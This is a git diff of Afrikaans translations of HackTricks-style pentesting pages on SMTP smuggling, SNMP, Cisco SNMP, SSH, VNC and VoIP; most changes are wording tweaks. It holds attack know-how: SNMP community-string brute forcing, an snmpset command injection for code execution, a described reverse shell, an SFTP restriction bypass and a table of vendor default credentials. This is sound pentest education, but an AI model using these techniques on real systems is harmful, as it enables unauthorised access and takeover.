SMTP-protokol, die **data van die boodskap** wat in die e-pos gestuur moet word, deur 'n gebruiker (aanvaller) beheer word wat spesiaal saamgestelde data kan stuur wat die verskille in parsers misbruik wat ekstra e-posse in die ontvanger sal smokkel. Kyk na hierdie geïllustreerde voorbeeld uit die oorspronklike pos: +Dit is omdat in die SMTP-protokol, die **data van die boodskap** wat in die e-pos gestuur moet word, deur 'n gebruiker (aanvaller) beheer word wat spesiaal saamgestelde data kan stuur wat verskille in parsers misbruik wat ekstra e-posse in die ontvanger sal smokkel. Kyk na hierdie geïllustreerde voorbeeld uit die oorspronklike pos:

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

@@ -19,7 +19,7 @@ Om hierdie kwesbaarheid te benut, moet 'n aanvaller 'n paar data stuur wat die * Die navorsers het ontdek dat verskillende **Inkomende bedieners verskillende karakters as die einde van die data** van die e-pos boodskap beskou wat Uitgaande bedieners nie doen.\ Byvoorbeeld, 'n gewone einde van die data is `\r\n.\r`. Maar as die Inkomende SMTP-bediener ook `\n.` ondersteun, kan 'n aanvaller eenvoudig **daardie data in sy e-pos voeg en begin om die SMTP-opdragte** van 'n nuwe een aan te dui om dit te smokkel, net soos in die vorige beeld. -Natuurlik kan dit net werk as die **Uitgaande SMTP-bediener nie ook hierdie data** as die einde van die boodskapdata beskou nie, want in daardie geval sal dit 2 e-posse sien in plaas van net 1, so uiteindelik is dit die desinkronisasie wat in hierdie kwesbaarheid misbruik word. +Natuurlik kan dit net werk as die **Uitgaande SMTP-bediener nie ook hierdie data** as die einde van die boodskapdata beskou nie, want in daardie geval sal dit 2 e-posse in plaas van net 1 sien, so uiteindelik is dit die desinkronisasie wat in hierdie kwesbaarheid misbruik word. Potensiële desinkronisasie data: diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 408553c6d..af55657d1 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -29,7 +29,7 @@ Verder word verskaffers die vryheid gegee om private takke te vestig. Binne hier ![](<../../images/SNMP_OID_MIB_Tree (1).png>) Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) wat MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes verwys. En van die **OIDs wat van hierdie een wag**, kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...) +Daar is 'n paar **goed bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) verwys na MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes. En van die **OIDs wat van hierdie een wag** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...) ### **OID Voorbeeld** @@ -39,8 +39,8 @@ Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oi Hier is 'n ontleding van hierdie adres. -- 1 – dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met “1” begin. -- 3 – dit word ORG genoem en dit word gebruik om die organisasie wat die toestel gebou het, aan te dui. +- 1 – dit word die ISO genoem en dit vestig dat dit 'n OID is. Dit is waarom alle OIDs met "1" begin. +- 3 – dit word ORG genoem en dit word gebruik om die organisasie wat die toestel gebou het, spesifiek aan te dui. - 6 – dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het. - 1 – dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind. - 4 – hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie 'n regeringsorganisasie nie. @@ -79,7 +79,7 @@ Daar is **2 tipes gemeenskapsstrings**: - **`public`** hoofsaaklik **lees net** funksies - **`private`** **Lees/Skryf** in die algemeen -Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Daar **kan** ook objekte wees wat **altyd "Lees Net"** is.\ +Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Daar **kan** ook voorwerpe wees wat **altyd "Lees Net"** is.\ As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\* In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**. @@ -94,7 +94,7 @@ In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die b ## Brute-Force Gemeenskapsstring (v1 en v2c) -Om die **gemeenskapsstring te raai**, kan jy 'n woordeboekaanval uitvoer. Kyk [hier verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-hacking/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsstring is `public`. +Om die **gemeenskapsstring te raai** kan jy 'n woordeboekaanval uitvoer. Kyk [hier verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-hacking/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsstring is `public`. ## Enumerating SNMP @@ -125,7 +125,7 @@ Dankie aan uitgebreide navrae (download-mibs), is dit moontlik om selfs meer oor ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant sal vind, is: **Netwerkinterfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse** +**SNMP** het baie inligting oor die gasheer en dinge wat jy dalk interessant sal vind, is: **Netwerk interfaces** (IPv4 en **IPv6** adres), gebruikersname, uptime, bediener/OS weergawe, en **prosesse** **wat** (kan wagwoorde bevat).... @@ -135,30 +135,30 @@ In die wêreld van netwerkbestuur is sekere konfigurasies en parameters sleutel ### Toegang Instellings -Twee hoofinstellings stel toegang tot die **volledige OID-boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is: +Twee hoofinstellings stel toegang tot die **volledige OID boom** moontlik, wat 'n belangrike komponent in netwerkbestuur is: -1. **`rwuser noauth`** is ingestel om volle toegang tot die OID-boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe. -2. Vir meer spesifieke beheer kan toegang verleen word met: +1. **`rwuser noauth`** is ingestel om volle toegang tot die OID boom toe te laat sonder die behoefte aan verifikasie. Hierdie instelling is eenvoudig en laat onbeperkte toegang toe. +2. Vir meer spesifieke beheer kan toegang toegestaan word met: - **`rwcommunity`** vir **IPv4** adresse, en - **`rwcommunity6`** vir **IPv6** adresse. -Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP-adres, wat volle toegang bied ongeag die oorsprong van die versoek. +Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP adres, wat volle toegang bied ongeag die oorsprong van die versoek. ### SNMP Parameters vir Microsoft Windows -'n Reeks **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows-stelsel deur SNMP te monitor: +'n Reeks van **Bestuur Inligting Basis (MIB) waardes** word gebruik om verskeie aspekte van 'n Windows-stelsel deur SNMP te monitor: -- **Stelselsprosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik. -- **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme. -- **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik. -- **Bergingseenhede**: Die monitering van bergingseenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`. -- **Sagteware Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik. -- **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik. +- **Stelsel Prosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik. +- **Hardloop Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans hardloop programme. +- **Prosesse Pad**: Om te bepaal waar 'n proses van hardloop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik. +- **Berging Eenhede**: Die monitering van berging eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`. +- **Sagtemak Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik. +- **Gebruikers Rekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikers rekeninge moontlik. - **TCP Plaaslike Poorte**: Laastens, `1.3.6.1.2.1.6.13.1.3` is aangewys vir die monitering van TCP plaaslike poorte, wat insig bied in aktiewe netwerkverbindinge. ### Cisco -Kyk na hierdie bladsy as jy Cisco-toerusting het: +Kyk na hierdie bladsy as jy Cisco toerusting het: {{#ref}} cisco-snmp.md @@ -166,7 +166,7 @@ cisco-snmp.md ## Van SNMP na RCE -As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, mag jy dit misbruik om **opdragte** uit te voer: +As jy die **string** het wat jou toelaat om **waardes** binne die SNMP diens te **skryf**, mag jy dit kan misbruik om **opdragte** uit te voer: {{#ref}} snmp-rce.md @@ -174,11 +174,11 @@ snmp-rce.md ## **Massiewe SNMP** -[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak – maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te vra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig. +[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak – maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te ondervra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig. -Braa implementeer sy EIE snmp-stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie. +Braa implementeer sy EIE snmp stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie. -**Sintaksis:** braa \[Gemeenskaps-string\]@\[\[IP van SNMP bediener\]:\[iso id\] +**Sintaksis:** braa \[Gemeenskaps-string\]@\[\[IP van SNMP bediener\]:\[\[iso id\] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` @@ -200,7 +200,7 @@ grep -i "trap" *.snmp ``` ### **Gebruikersname/Wagwoorde** -Logs wat in MIB-tabelle gestoor is, word ondersoek vir **mislukte aanmeldpogings**, wat per ongeluk wagwoorde wat as gebruikersname ingevoer is, kan insluit. Sleutelwoorde soos _fail_, _failed_, of _login_ word gesoek om waardevolle data te vind: +Logs wat in MIB-tabelle gestoor is, word ondersoek vir **mislukte aanmeldpogings**, wat per ongeluk wagwoorde kan insluit wat as gebruikersname ingevoer is. Sleutelwoorde soos _fail_, _failed_, of _login_ word gesoek om waardevolle data te vind: ```bash grep -i "login\|fail" *.snmp ``` @@ -212,7 +212,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` ## Modifying SNMP values -Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **privaat string** moet ken om dit te doen. +Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **private string** moet ken om dit te doen. ## Spoofing @@ -224,6 +224,7 @@ As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP-diens te vra, kan jy - snmpd.conf - snmp-config.xml + ## HackTricks Automatic Commands ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 5ac271ed0..4d0391365 100644 --- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -4,15 +4,15 @@ ## Pentesting Cisco Networks -**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs-lees (RO) of lees-skryf (RW) toestemmings**. 'n Noemenswaardige aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, wat daarop gemik is om netwerktoestelle binne te dring. +**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskaplike stringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs-lees (RO) of lees-skryf (RW) toestemmings**. 'n Noemenswaardige aanvalsvlak vir pentesters is die **brute-forcing van gemeenskaplike stringe**, met die doel om netwerktoestelle te infiltreer. -'n Praktiese hulpmiddel om sulke brute-force aanvalle uit te voer, is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens vereis: +'n Praktiese hulpmiddel om sulke brute-force-aanvalle uit te voer, is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskaplike stringe en die IP-adresse van die teikens vereis: ```bash onesixtyone -c communitystrings -i targets ``` #### `cisco_config_tftp` -Die Metasploit-raamwerk bevat die `cisco_config_tftp` module, wat die ekstraksie van toestelkonfigurasies fasiliteer, afhangende van die verkryging van 'n RW gemeenskapsstring. Essensiële parameters vir hierdie operasie sluit in: +Die Metasploit-raamwerk bevat die `cisco_config_tftp` module, wat die onttrekking van toestelkonfigurasies vergemaklik, afhangende van die verkryging van 'n RW gemeenskapsstring. Essensiële parameters vir hierdie operasie sluit in: - RW gemeenskapsstring (**COMMUNITY**) - Aanvaller se IP (**LHOST**) diff --git a/src/network-services-pentesting/pentesting-snmp/snmp-rce.md b/src/network-services-pentesting/pentesting-snmp/snmp-rce.md index 7bf7ab3de..0e2f3fa40 100644 --- a/src/network-services-pentesting/pentesting-snmp/snmp-rce.md +++ b/src/network-services-pentesting/pentesting-snmp/snmp-rce.md @@ -6,7 +6,7 @@ SNMP kan deur 'n aanvaller uitgebuit word as die administrateur sy standaardkonf ## Uitbreiding van Dienste met Bykomende Opdragte -Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe **rye aan die "nsExtendObjects" tabel** toe te voeg. Dit kan bereik word deur die `snmpset` opdrag te gebruik en die nodige parameters te verskaf, insluitend die absolute pad na die uitvoerbare en die opdrag wat uitgevoer moet word: +Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe **rye aan die "nsExtendObjects" tabel** toe te voeg. Dit kan bereik word deur die `snmpset` opdrag te gebruik en die nodige parameters te verskaf, insluitend die absolute pad na die uitvoerbare lêer en die opdrag wat uitgevoer moet word: ```bash snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ 'nsExtendStatus."evilcommand"' = createAndGo \ @@ -15,21 +15,21 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ ``` ## Inspuit van Opdragte vir Uitvoering -Inspuit van opdragte om op die SNMP-diens te loop, vereis die bestaan en uitvoerbaarheid van die aangeroepte binêre/scrip. Die **`NET-SNMP-EXTEND-MIB`** vereis die verskaffing van die absolute pad na die uitvoerbare. +Inspuit van opdragte om op die SNMP-diens te loop, vereis die bestaan en uitvoerbaarheid van die aangeroepde binêre/scrip. Die **`NET-SNMP-EXTEND-MIB`** vereis die verskaffing van die absolute pad na die uitvoerbare. -Om die uitvoering van die ingespuite opdrag te bevestig, kan die `snmpwalk` opdrag gebruik word om die SNMP-diens te evalueer. Die **uitset sal die opdrag en sy geassosieerde besonderhede vertoon**, insluitend die absolute pad: +Om die uitvoering van die ingespuite opdrag te bevestig, kan die `snmpwalk` opdrag gebruik word om die SNMP-diens te enumerate. Die **uitset sal die opdrag en sy geassosieerde besonderhede vertoon**, insluitend die absolute pad: ```bash snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects ``` -## Hardloop die Ingevoegde Opdragte +## Die Uitgevoerde Opdragte -Wanneer die **ingevulde opdrag gelees word, word dit uitgevoer**. Hierdie gedrag staan bekend as **`run-on-read()`**. Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees. +Wanneer die **ingespotte opdrag gelees word, word dit uitgevoer**. Hierdie gedrag staan bekend as **`run-on-read()`**. Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees. -### Verkryging van Bediener Skulp met SNMP +### Verkryging van Bediener Shell met SNMP -Om beheer oor die bediener te verkry en 'n bediener skulp te verkry, kan 'n python skrip wat deur mxrch ontwikkel is, gebruik word vanaf [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git). +Om beheer oor die bediener te verkry en 'n bediener shell te bekom, kan 'n python-skrip wat deur mxrch ontwikkel is, gebruik word vanaf [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git). -Alternatiewelik kan 'n omgekeerde skulp handmatig geskep word deur 'n spesifieke opdrag in SNMP in te voeg. Hierdie opdrag, wat deur die snmpwalk geaktiveer word, stel 'n omgekeerde skulpverbinding met die aanvaller se masjien in staat, wat beheer oor die slagoffer se masjien moontlik maak. +Alternatiewelik kan 'n omgekeerde shell handmatig geskep word deur 'n spesifieke opdrag in SNMP in te spuit. Hierdie opdrag, wat deur die snmpwalk geaktiveer word, stel 'n omgekeerde shell-verbinding met die aanvaller se masjien in staat, wat beheer oor die slagoffer se masjien moontlik maak. Jy kan die vereiste installeer om dit te laat loop: ```bash sudo apt install snmp snmp-mibs-downloader rlwrap -y diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 0d971901a..e5d55d9a2 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -16,7 +16,7 @@ - [openSSH](http://www.openssh.org) – OpenBSD SSH, verskaf in BSD, Linux verspreidings en Windows sedert Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementasie vir omgewings met lae geheue en verwerker hulpbronne, verskaf in OpenWrt -- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementasie vir Windows, die kliënt word algemeen gebruik maar die gebruik van die bediener is selde +- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementasie vir Windows, die kliënt word algemeen gebruik, maar die gebruik van die bediener is selde - [CopSSH](https://www.itefix.net/copssh) – implementasie van OpenSSH vir Windows **SSH biblioteke (wat bediener-kant implementeer):** @@ -34,20 +34,20 @@ nc -vn 22 ``` ### Geoutomatiseerde ssh-audit -ssh-audit is 'n hulpmiddel vir die oudit van ssh bediener- en kliëntkonfigurasie. +ssh-audit is 'n hulpmiddel vir ssh bediener & kliënt konfigurasie oudit. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is 'n opgedateerde fork van [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Kenmerke:** -- SSH1 en SSH2 protokol bedienerondersteuning; -- analiseer SSH kliëntkonfigurasie; +- SSH1 en SSH2 protokol bediener ondersteuning; +- analiseer SSH kliënt konfigurasie; - gryp banner, herken toestel of sagteware en bedryfstelsel, detecteer kompressie; -- versamel sleuteluitruil, gasheer-sleutel, enkripsie en boodskapverifikasiekode algoritmes; +- versamel sleutel-uitruil, gasheer-sleutel, enkripsie en boodskap verifikasiekode algoritmes; - voer algoritme-inligting uit (beskikbaar sedert, verwyder/uitgeskakel, onveilig/swak/oud, ens.); - voer algoritme-aanbevelings uit (voeg by of verwyder gebaseer op herkenbare sagteware weergawe); - voer sekuriteitsinligting uit (verwante kwessies, toegewyde CVE lys, ens.); -- analiseer SSH weergawe-kompatibiliteit gebaseer op algoritme-inligting; +- analiseer SSH weergawe kompatibiliteit gebaseer op algoritme-inligting; - historiese inligting van OpenSSH, Dropbear SSH en libssh; - loop op Linux en Windows; - geen afhanklikhede @@ -71,7 +71,7 @@ use -t to change timeout) (default: 5) $ python3 ssh-audit ``` -[Dit in aksie sien (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) +[ sien dit in aksie (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Publieke SSH-sleutel van bediener ```bash @@ -115,7 +115,7 @@ Of die MSF bykomende module: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` -Of gebruik `ssh-keybrute.py` (natuurlike python3, liggewig en het erfenisalgoritmes geaktiveer): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). +Of gebruik `ssh-keybrute.py` (natuurlike python3, liggewig en het erfenis algoritmes geaktiveer): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Bekende slegte sleutels kan hier gevind word: @@ -141,8 +141,8 @@ Vir meer inligting, voer `crackmapexec ssh --help` uit. | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, standaard, wagwoord, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, aanval, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, publiek, rootadmin, wanscaler | | D-Link | admin, gebruiker | privaat, admin, gebruiker | -| Dell | root, user1, admin, vkernel, cli | calvin, 123456, wagwoord, vkernel, Stor@ge!, admin | -| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | +| Dell | root, gebruiker1, admin, vkernel, cli | calvin, 123456, wagwoord, vkernel, Stor@ge!, admin | +| EMC | admin, root, sysadmin | EMCPMAdm7n, Wagwoord#1, Wagwoord123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, bestuur, hpsupport, opc_op | admin, wagwoord, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, mooi, toegang, konfig, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !bestuur, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, bestuurder, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, stelsel, toestel, ufmcli, klant | PASSW0RD, passw0rd, admin, wagwoord, Passw8rd, iadmin, apc, 123456, cust0mer | @@ -182,7 +182,7 @@ Dit is heeltemal self-repliserend en self-propagasies -- en heeltemal fileloos. ### Root aanmelding -Dit is algemeen dat SSH bedieners root gebruiker aanmelding standaard toelaat, wat 'n beduidende sekuriteitsrisiko inhou. **Deaktiveer root aanmelding** is 'n kritieke stap in die beveiliging van die bediener. Ongeoorloofde toegang met administratiewe regte en gebruteforceerde aanvalle kan verminder word deur hierdie verandering te maak. +Dit is algemeen dat SSH bedieners root gebruiker aanmelding standaard toelaat, wat 'n beduidende sekuriteitsrisiko inhou. **Deaktiveer root aanmelding** is 'n kritieke stap in die beveiliging van die bediener. Ongeoorloofde toegang met administratiewe regte en bruteforce-aanvalle kan verminder word deur hierdie verandering te maak. **Om Root Aanmelding in OpenSSH te Deaktiveer:** @@ -191,13 +191,13 @@ Dit is algemeen dat SSH bedieners root gebruiker aanmelding standaard toelaat, w 3. **Herlaai die konfigurasie** met: `sudo systemctl daemon-reload` 4. **Herbegin die SSH bediener** om veranderinge toe te pas: `sudo systemctl restart sshd` -### SFTP Gebruteforce +### SFTP Bruteforce -- [**SFTP Gebruteforce**](../generic-hacking/brute-force.md#sftp) +- [**SFTP Bruteforce**](../generic-hacking/brute-force.md#sftp) ### SFTP opdraguitvoering -Daar is 'n algemene oorsig wat plaasvind met SFTP opstellings, waar administrateurs bedoel dat gebruikers lêers moet uitruil sonder om afstandshell toegang toe te laat. Ten spyte van die instelling van gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) en hulle te beperk tot 'n spesifieke gids, bly 'n sekuriteitslek. **Gebruikers kan hierdie beperkings omseil** deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding te vra, voordat hul aangewese nie-interaktiewe shell oorgeneem word. Dit stel ongeoorloofde opdraguitvoering in staat, wat die bedoelde sekuriteitsmaatreëls ondermyn. +Daar is 'n algemene oorsig wat plaasvind met SFTP opstellings, waar administrateurs bedoel dat gebruikers lêers moet uitruil sonder om afstandshell toegang te aktiveer. Ten spyte van die instelling van gebruikers met nie-interaktiewe shells (bv. `/usr/bin/nologin`) en hulle te beperk tot 'n spesifieke gids, bly 'n sekuriteitslek. **Gebruikers kan hierdie beperkings omseil** deur die uitvoering van 'n opdrag (soos `/bin/bash`) onmiddellik na aanmelding aan te vra, voordat hul aangewese nie-interaktiewe shell oorgeneem word. Dit stel ongeoorloofde opdraguitvoering in staat, wat die bedoelde sekuriteitsmaatreëls ondermyn. [Voorbeeld van hier](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -250,16 +250,16 @@ sftp> symlink / froot ``` As jy toegang tot die lêer "_froot_" via die web kan kry, sal jy in staat wees om die wortel ("/") gids van die stelsel te lys. -### Outentikasie metodes +### Verifikasie metodes -In 'n hoë sekuriteit omgewing is dit 'n algemene praktyk om slegs sleutel-gebaseerde of twee-faktor outentikasie in te skakel eerder as die eenvoudige faktor wagwoord-gebaseerde outentikasie. Maar dikwels word die sterker outentikasie metodes geaktiveer sonder om die swakkeres te deaktiveer. 'n Gereelde geval is om `publickey` op openSSH-konfigurasie in te skakel en dit as die standaardmetode in te stel, maar nie `password` te deaktiveer nie. So deur die uitgebreide modus van die SSH-kliënt te gebruik, kan 'n aanvaller sien dat 'n swakker metode geaktiveer is: +In 'n hoë sekuriteit omgewing is dit 'n algemene praktyk om slegs sleutel-gebaseerde of twee-faktor verifikasie in te skakel eerder as die eenvoudige faktor wagwoord-gebaseerde verifikasie. Maar dikwels word die sterker verifikasie metodes geaktiveer sonder om die swakkeres te deaktiveer. 'n Gereelde geval is om `publickey` op openSSH-konfigurasie in te skakel en dit as die standaard metode in te stel, maar nie `password` te deaktiveer nie. So deur die uitgebreide modus van die SSH-kliënt te gebruik, kan 'n aanvaller sien dat 'n swakker metode geaktiveer is: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` -As 'n voorbeeld, as 'n limiet vir outentisering mislukking gestel is en jy nooit die kans kry om die wagwoordmetode te bereik nie, kan jy die `PreferredAuthentications` opsie gebruik om te dwing om hierdie metode te gebruik. +Byvoorbeeld, as 'n outentikasiefoutgrens gestel is en jy nooit die kans kry om die wagwoordmetode te bereik nie, kan jy die `PreferredAuthentications` opsie gebruik om te dwing om hierdie metode te gebruik. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md index ca7cb8717..f968298c4 100644 --- a/src/network-services-pentesting/pentesting-vnc.md +++ b/src/network-services-pentesting/pentesting-vnc.md @@ -2,6 +2,7 @@ {{#include ../banners/hacktricks-training.md}} + ## Basiese Inligting **Virtual Network Computing (VNC)** is 'n robuuste grafiese lessenaardeelstelsel wat die **Remote Frame Buffer (RFB)** protokol gebruik om afstandbeheer en samewerking met 'n ander rekenaar moontlik te maak. Met VNC kan gebruikers naatloos met 'n afstandrekenaar interaksie hê deur sleutelbord- en muisgebeurtenisse bidireksioneel oor te dra. Dit stel in staat tot regstreekse toegang en fasiliteer doeltreffende afstandshelp of samewerking oor 'n netwerk. diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 8c18aca27..db23a7c2f 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -30,7 +30,7 @@ MESSAGE Deliver a text message. Used in instant messaging applications. RFC 34 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` -## Antwoordkode +## Responskode **1xx—Voorlopige Antwoorde** ``` @@ -118,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 555 Push Notification Service Not Supported 580 Precondition Failure ``` -**6xx—Globale 